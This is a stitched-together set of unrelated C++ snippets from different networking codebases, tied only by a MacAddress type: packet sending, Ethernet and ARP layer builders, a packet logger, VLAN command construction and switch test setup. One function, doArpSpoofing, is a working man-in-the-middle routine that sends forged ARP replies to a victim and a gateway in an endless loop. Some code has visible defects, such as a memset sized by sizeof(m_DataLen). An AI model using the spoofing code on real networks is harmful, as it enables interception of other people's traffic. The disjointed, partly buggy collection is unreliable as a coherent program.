bool MacAddress::operator<(const MacAddress &b) const {
for (size_t i = 0; i < getMacArray().size(); ++i) {
if (getMacArray().at(i) != b.getMacArray().at(i)) {
return getMacArray().at(i) < b.getMacArray().at(i);
}
}
return false;
}
int RawSocketDevice::sendPackets(const RawPacketVector& packetVec)
{
#if defined(WIN32) || defined(WINx64) || defined(PCAPPP_MINGW_ENV)
LOG_ERROR("Sending packets with raw socket are not supported on Windows");
return false;
#elif LINUX
if (!isOpened())
{
LOG_ERROR("Device is not open");
return 0;
}
int fd = ((SocketContainer*)m_Socket)->fd;
sockaddr_ll addr;
memset(&addr, 0, sizeof(struct sockaddr_ll));
addr.sll_family = htons(PF_PACKET);
addr.sll_protocol = htons(ETH_P_ALL);
addr.sll_halen = 6;
addr.sll_ifindex = ((SocketContainer*)m_Socket)->interfaceIndex;
int sendCount = 0;
for (RawPacketVector::ConstVectorIterator iter = packetVec.begin(); iter != packetVec.end(); iter++)
{
Packet packet(*iter, OsiModelDataLinkLayer);
if (!packet.isPacketOfType(pcpp::Ethernet))
{
LOG_DEBUG("Can't send non-Ethernet packets");
continue;
}
EthLayer* ethLayer = packet.getLayerOfType<EthLayer>();
MacAddress dstMac = ethLayer->getDestMac();
dstMac.copyTo((uint8_t*)&(addr.sll_addr));
if (::sendto(fd, (*iter)->getRawData(), (*iter)->getRawDataLen(), 0, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
LOG_DEBUG("Failed to send packet. Error was: '%s'", strerror(errno));
continue;
}
sendCount++;
}
return sendCount;
#else
LOG_ERROR("Raw socket are not supported on this platform");
return false;
#endif
}
EthLayer::EthLayer(MacAddress& sourceMac, MacAddress& destMac, uint16_t etherType) : Layer()
{
m_DataLen = sizeof(ether_header);
m_Data = new uint8_t[m_DataLen];
memset(m_Data, 0, m_DataLen);
ether_header* ethHdr = (ether_header*)m_Data;
destMac.copyTo(ethHdr->dstMac);
sourceMac.copyTo(ethHdr->srcMac);
ethHdr->etherType = htons(etherType);
m_Protocol = Ethernet;
}
bool SllLayer::setMacAddressAsLinkLayer(MacAddress macAddr)
{
if (!macAddr.isValid())
{
LOG_ERROR("MAC address is not valid");
return false;
}
uint8_t macAddrAsArr[6];
macAddr.copyTo(macAddrAsArr);
return setLinkLayerAddr(macAddrAsArr, 6);
}
ArpLayer::ArpLayer(ArpOpcode opCode, const MacAddress& senderMacAddr, const MacAddress& targetMacAddr, const IPv4Address senderIpAddr, const IPv4Address& targetIpAddr)
{
m_DataLen = sizeof(arphdr);
m_Data = new uint8_t[m_DataLen];
memset(m_Data, 0, sizeof(m_DataLen));
m_Protocol = ARP;
arphdr* arpHeader = getArpHeader();
arpHeader->opcode = htons(opCode);
targetMacAddr.copyTo(arpHeader->targetMacAddr);
senderMacAddr.copyTo(arpHeader->senderMacAddr);
arpHeader->targetIpAddr = targetIpAddr.toInt();
arpHeader->senderIpAddr = senderIpAddr.toInt();
}
bool doArpSpoofing(PcapLiveDevice* pDevice, const IPv4Address& gatewayAddr, const IPv4Address& victimAddr)
{
// Get the gateway MAC address
MacAddress gatewayMacAddr = getMacAddress(gatewayAddr, pDevice);
if (!gatewayMacAddr.isValid())
{
printf("Failed to find gateway MAC address. Exiting...\n");
return false;
}
printf("Got gateway MAC address: %s\n", gatewayMacAddr.toString().c_str());
// Get the victim MAC address
MacAddress victimMacAddr = getMacAddress(victimAddr, pDevice);
if (!victimMacAddr.isValid())
{
printf("Failed to find victim MAC address. Exiting...\n");
return false;
}
printf("Got victim MAC address: %s\n", victimMacAddr.toString().c_str());
MacAddress deviceMacAddress = pDevice->getMacAddress();
// Create ARP reply for the gateway
Packet gwArpReply(500);
EthLayer gwEthLayer(deviceMacAddress, gatewayMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
ArpLayer gwArpLayer(ARP_REPLY,
pDevice->getMacAddress(),
gatewayMacAddr,
victimAddr,
gatewayAddr);
gwArpReply.addLayer(&gwEthLayer);
gwArpReply.addLayer(&gwArpLayer);
gwArpReply.computeCalculateFields();
// Create ARP reply for the victim
Packet victimArpReply(500);
EthLayer victimEthLayer(deviceMacAddress, victimMacAddr, (uint16_t)PCPP_ETHERTYPE_ARP);
ArpLayer victimArpLayer(ARP_REPLY,
pDevice->getMacAddress(),
victimMacAddr,
gatewayAddr,
victimAddr);
victimArpReply.addLayer(&victimEthLayer);
victimArpReply.addLayer(&victimArpLayer);
victimArpReply.computeCalculateFields();
// Send ARP replies to gateway and to victim every 5 seconds
printf("Sending ARP replies to victim and to gateway every 5 seconds...\n\n");
while(true)
{
pDevice->sendPacket(&gwArpReply);
printf("Sent ARP reply: %s [gateway] is at MAC address %s [me]\n", gatewayAddr.toString().c_str(), deviceMacAddress.toString().c_str());
pDevice->sendPacket(&victimArpReply);
printf("Sent ARP reply: %s [victim] is at MAC address %s [me]\n\n", victimAddr.toString().c_str(), deviceMacAddress.toString().c_str());
PCAP_SLEEP(5);
}
return true;
}
void DescribePacket(const u_int8_t* data, const char* io)
{
struct ether_header* header = (struct ether_header*)data;
unsigned int type = ntohs(header->ether_type);
char summary[256];
MacAddress mac;
switch (type)
{
case ETHERTYPE_IP:
case ETHERTYPE_ARP:
if (type == ETHERTYPE_IP)
{
GetIPv4PacketSummary(data, summary);
log_info("%s IPv4: %s", io, summary);
}
else
{
struct ether_arp* arpreq = (struct ether_arp*)(data + sizeof(struct ether_header));
mac = MacAddress::CopyFrom(arpreq->arp_sha);
log_info("%s ARP: op: %d - sender: %s", io, ntohs(arpreq->arp_op), mac.ToString().c_str());
char srcip[INET_ADDRSTRLEN], dstip[INET_ADDRSTRLEN];
strcpy(srcip, inet_ntoa(*(in_addr*)arpreq->arp_spa));
strcpy(dstip, inet_ntoa(*(in_addr*)arpreq->arp_tpa));
log_info(" For: %s->%s", srcip, dstip);
}
break;
case ETHERTYPE_IPV6:
GetIPv6PacketSummary(data, summary);
log_info("%s IPv6: %s", io, summary);
break;
default:
log_info("%s 0x%X packet", io, type);
break;
}
mac = MacAddress::CopyFrom(header->ether_shost);
log_info(" Source: %s", mac.ToString().c_str());
mac = MacAddress::CopyFrom(header->ether_dhost);
log_info(" Target: %s", mac.ToString().c_str());
printf("\n");
}
IPAddressV6::AddressStorage::AddressStorage(MacAddress mac) {
// The link-local address uses modified EUI-64 format,
// See RFC 4291 sections 2.5.1, 2.5.6, and Appendix A
const auto* macBytes = mac.bytes();
memcpy(&bytes_.front(), "\xfe\x80\x00\x00\x00\x00\x00\x00", 8);
bytes_[8] = macBytes[0] ^ 0x02;
bytes_[9] = macBytes[1];
bytes_[10] = macBytes[2];
bytes_[11] = 0xff;
bytes_[12] = 0xfe;
bytes_[13] = macBytes[3];
bytes_[14] = macBytes[4];
bytes_[15] = macBytes[5];
}
bool VlanMgr::addHostVlan(int vlan_id)
{
SWSS_LOG_ENTER();
// The command should be generated as:
// /bin/bash -c "/sbin/bridge vlan add vid {{vlan_id}} dev Bridge self &&
// /sbin/ip link add link Bridge up name Vlan{{vlan_id}} address {{gMacAddress}} type vlan id {{vlan_id}}"
const std::string cmds = std::string("")
+ BASH_CMD + " -c \""
+ BRIDGE_CMD + " vlan add vid " + std::to_string(vlan_id) + " dev " + DOT1Q_BRIDGE_NAME + " self && "
+ IP_CMD + " link add link " + DOT1Q_BRIDGE_NAME
+ " up"
+ " name " + VLAN_PREFIX + std::to_string(vlan_id)
+ " address " + gMacAddress.to_string()
+ " type vlan id " + std::to_string(vlan_id) + "\"";
std::string res;
EXEC_WITH_ERROR_THROW(cmds, res);
return true;
}
/// Write-only accessor to _dstMac.
void setDstMAC(const MacAddress& newVal) { _dstMAC = newVal.addr2str(); _updateTemplate(); }
static void SetUpTestCase(void)
{
mac = MacAddress("00:F2:F2:F2:F2:F2");
LOGG(TEST_INFO, FRAMEWORK, "init mac %s\n", mac.to_string().c_str());
LOGG(TEST_INFO, FRAMEWORK, "sai_api_initialize\n");
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_initialize(0, (service_method_table_t *)&test_services));
LOGG(TEST_INFO, FRAMEWORK, "sai_api_query SAI_API_SWITCH, SAI_API_PORT, ...\n");
//query API methods of all types
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_SWITCH, (void**)&sai_switch_api));
ASSERT_TRUE(sai_switch_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_PORT, (void**)&sai_port_api));
ASSERT_TRUE(sai_port_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_VLAN, (void**)&sai_vlan_api));
ASSERT_TRUE(sai_vlan_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_VIRTUAL_ROUTER, (void**)&sai_vr_api));
ASSERT_TRUE(sai_vr_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_ROUTER_INTERFACE, (void**)&sai_rif_api));
ASSERT_TRUE(sai_rif_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_HOST_INTERFACE, (void**)&sai_hif_api));
ASSERT_TRUE(sai_hif_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_NEIGHBOR, (void**)&sai_neighbor_api));
ASSERT_TRUE(sai_neighbor_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_ROUTE, (void**)&sai_route_api));
ASSERT_TRUE(sai_route_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_NEXT_HOP, (void**)&sai_next_hop_api));
ASSERT_TRUE(sai_next_hop_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_NEXT_HOP_GROUP,
(void**)&sai_next_hop_group_api));
ASSERT_TRUE(sai_next_hop_group_api != NULL);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_api_query(SAI_API_FDB,
(void**)&sai_fdb_api));
ASSERT_TRUE(sai_fdb_api != NULL);
LOGG(TEST_INFO, FRAMEWORK, "sai_log_set SAI_API_SWITCH, SAI_API_PORT, ...\n");
//set log
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_SWITCH, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_PORT, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_VLAN, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_VIRTUAL_ROUTER, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_ROUTER_INTERFACE, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_HOST_INTERFACE, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_NEIGHBOR, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_ROUTE, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_NEXT_HOP, SAI_LOG_DEBUG));
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_log_set(SAI_API_NEXT_HOP_GROUP, SAI_LOG_DEBUG));
LOGG(TEST_INFO, FRAMEWORK, "sai_switch_api->initialize_switch \n");
ASSERT_TRUE(sai_switch_api->initialize_switch);
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_switch_api->initialize_switch(0, "0xb850", "",
&plat_switch_notification_handlers));
sai_attribute_t attr;
attr.id = SAI_SWITCH_ATTR_SRC_MAC_ADDRESS;
memcpy(attr.value.mac, mac.to_bytes(), 6);
ASSERT_TRUE(sai_switch_api->set_switch_attribute != NULL);
LOGG(TEST_INFO, FRAMEWORK, "sai_switch_api->set_switch_attribute SAI_SWITCH_ATTR_SRC_MAC_ADDRESS %s\n",
mac.to_string().c_str());
ASSERT_EQ(SAI_STATUS_SUCCESS,
sai_switch_api->set_switch_attribute(&attr));
LOGG(TEST_INFO, FRAMEWORK, "Create neighbor_mgr, nexthopgrp_mgr and route_mgr\n");
nexthop_mgr = new NextHopMgr();
neighbor_mgr = new NeighborMgr(nexthop_mgr);
nexthopgrp_mgr = new NextHopGrpMgr(neighbor_mgr);
route_mgr = new RouteMgr(neighbor_mgr, nexthopgrp_mgr);
fdb_mgr = new FdbMgr();
LOGG(TEST_INFO, FRAMEWORK, "Set Up L3 Interfaces\n");
ASSERT_EQ(true, basic_router_setup());
}
//L3 Interface Initialization
static bool setup_one_l3_interface(sai_vlan_id_t vlanid,
int port_count,
const sai_object_id_t *port_list,
const MacAddress mac,
const IpAddress ipaddr,
const IpAddress ipmask,
sai_object_id_t &rif_id)
{
LOGG(TEST_INFO, SETL3, "sai_vlan_api->create_vlan, create vlan %hu.\n", vlanid);
sai_status_t status = sai_vlan_api->create_vlan(vlanid);
if (status != SAI_STATUS_SUCCESS && status != SAI_STATUS_ITEM_ALREADY_EXISTS)
{
LOGG(TEST_ERR, SETL3, "fail to create vlan %hu. status=0x%x\n", vlanid, -status);
return false;
}
std::vector<sai_vlan_port_t> vlan_port_list;
for (int i = 0; i < port_count; ++i)
{
sai_vlan_port_t vlan_port;
vlan_port.port_id = port_list[i];
vlan_port.tagging_mode = SAI_VLAN_PORT_UNTAGGED;
vlan_port_list.push_back(vlan_port);
}
LOGG(TEST_INFO, SETL3, "sai_vlan_api->add_ports_to_vlan, add ports to vlan %d.\n", vlanid);
status = sai_vlan_api->add_ports_to_vlan(vlanid, port_count, vlan_port_list.data());
if (status != SAI_STATUS_SUCCESS)
{
LOGG(TEST_ERR, SETL3, "fail to add ports to vlan %hu. status=0x%x\n", vlanid, -status);
return false;
}
sai_attribute_t attr;
attr.id = SAI_PORT_ATTR_PORT_VLAN_ID;
attr.value.u16 = vlanid;
for (int i = 0; i < port_count; ++i)
{
LOGG(TEST_INFO, SETL3, "sai_port_api->set_port_attribute SAI_PORT_ATTR_PORT_VLAN_ID %hu to port 0x%lx\n",
vlanid, port_list[i]);
status = sai_port_api->set_port_attribute(port_list[i], &attr);
if (status != SAI_STATUS_SUCCESS)
{
LOGG(TEST_ERR, SETL3, "fail to set port %lu untagged vlan %hu. status=0x%x\n", port_list[i], vlanid, -status);
return false;
}
}
// create router interface
std::vector<sai_attribute_t> rif_attrs;
sai_attribute_t rif_attr;
rif_attr.id = SAI_ROUTER_INTERFACE_ATTR_VIRTUAL_ROUTER_ID;
rif_attr.value.oid = g_vr_id;
rif_attrs.push_back(rif_attr);
rif_attr.id = SAI_ROUTER_INTERFACE_ATTR_TYPE;
rif_attr.value.s32 = SAI_ROUTER_INTERFACE_TYPE_VLAN;
rif_attrs.push_back(rif_attr);
rif_attr.id = SAI_ROUTER_INTERFACE_ATTR_SRC_MAC_ADDRESS;
memcpy(rif_attr.value.mac, mac.to_bytes(), sizeof(sai_mac_t));
rif_attrs.push_back(rif_attr);
rif_attr.id = SAI_ROUTER_INTERFACE_ATTR_VLAN_ID;
rif_attr.value.u16 = vlanid;
rif_attrs.push_back(rif_attr);
LOGG(TEST_INFO, SETL3, "sai_rif_api->create_router_interface\n");
status = sai_rif_api->create_router_interface(&rif_id, rif_attrs.size(), rif_attrs.data());
if (status != SAI_STATUS_SUCCESS)
{
LOGG(TEST_ERR, SETL3, "fail to create router interface. status=0x%x\n", -status);
return false;
}
if (!SAI_OID_TYPE_CHECK(rif_id, SAI_OBJECT_TYPE_ROUTER_INTERFACE))
{
LOGG(TEST_ERR, SETL3, "router interface oid generated is not the right type\n");
return false;
}
LOGG(TEST_DEBUG, SETL3, "router_interface created, rif_id 0x%lx\n", rif_id);
// add interface ip to l3 host table
LOGG(TEST_INFO, SETL3, "sai_route_api->create_route, SAI_ROUTE_ATTR_PACKET_ACTION, SAI_PACKET_ACTION_TRAP\n");
sai_unicast_route_entry_t unicast_route_entry;
unicast_route_entry.vr_id = g_vr_id;
unicast_route_entry.destination.addr_family = SAI_IP_ADDR_FAMILY_IPV4;
unicast_route_entry.destination.addr.ip4 = ipaddr.addr();
unicast_route_entry.destination.mask.ip4 = 0xffffffff;
sai_attribute_t route_attr;
route_attr.id = SAI_ROUTE_ATTR_PACKET_ACTION;
route_attr.value.s32 = SAI_PACKET_ACTION_TRAP;
status = sai_route_api->create_route(&unicast_route_entry, 1, &route_attr);
if (status != SAI_STATUS_SUCCESS)
{
LOGG(TEST_ERR, SETL3, "fail to add route for l3 interface to cpu. status=0x%x\n", -status);
return false;
}
// by default, drop all the traffic destined to the the ip subnet.
// if we learn some of the neighbors, add them explicitly to the l3 host table.
LOGG(TEST_INFO, SETL3, "sai_route_api->create_route, SAI_ROUTE_ATTR_PACKET_ACTION, SAI_PACKET_ACTION_DROP\n");
unicast_route_entry.vr_id = g_vr_id;
unicast_route_entry.destination.addr_family = SAI_IP_ADDR_FAMILY_IPV4;
unicast_route_entry.destination.addr.ip4 = ipaddr.addr() & ipmask.addr();
unicast_route_entry.destination.mask.ip4 = ipmask.addr();
route_attr.id = SAI_ROUTE_ATTR_PACKET_ACTION;
route_attr.value.s32 = SAI_PACKET_ACTION_DROP;
status = sai_route_api->create_route(&unicast_route_entry, 1, &route_attr);
if (status != SAI_STATUS_SUCCESS)
{
LOGG(TEST_ERR, SETL3, "fail to add l3 intf subnet to blackhole. status=0x%x", -status);
return false;
}
return true;
}
void SetMacAddress(const MacAddress& addr) {
std::memcpy(shared_page.wifi_macaddr, addr.data(), sizeof(MacAddress));
}
